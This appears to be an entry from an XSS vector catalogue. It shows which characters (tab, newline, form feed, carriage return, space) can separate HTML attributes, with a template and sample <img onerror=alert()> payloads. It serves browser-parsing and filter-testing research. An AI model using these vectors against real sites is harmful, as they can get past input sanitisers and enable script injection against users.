Characters allowed between multiple HTML attributes

This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes

Created Sep 12, 2024

Updated May 28, 2025

Detecting browser...

CategoryDOM Behavior

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<img$[chr]src=x$[chr]onerror=log($[i])>

Sample payloads

<img0x09src=x0x09onerror=alert(9)>

<img
src=x
onerror=alert(10)>

<img0x0Csrc=x0x0Conerror=alert(12)>

<img0x0Dsrc=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>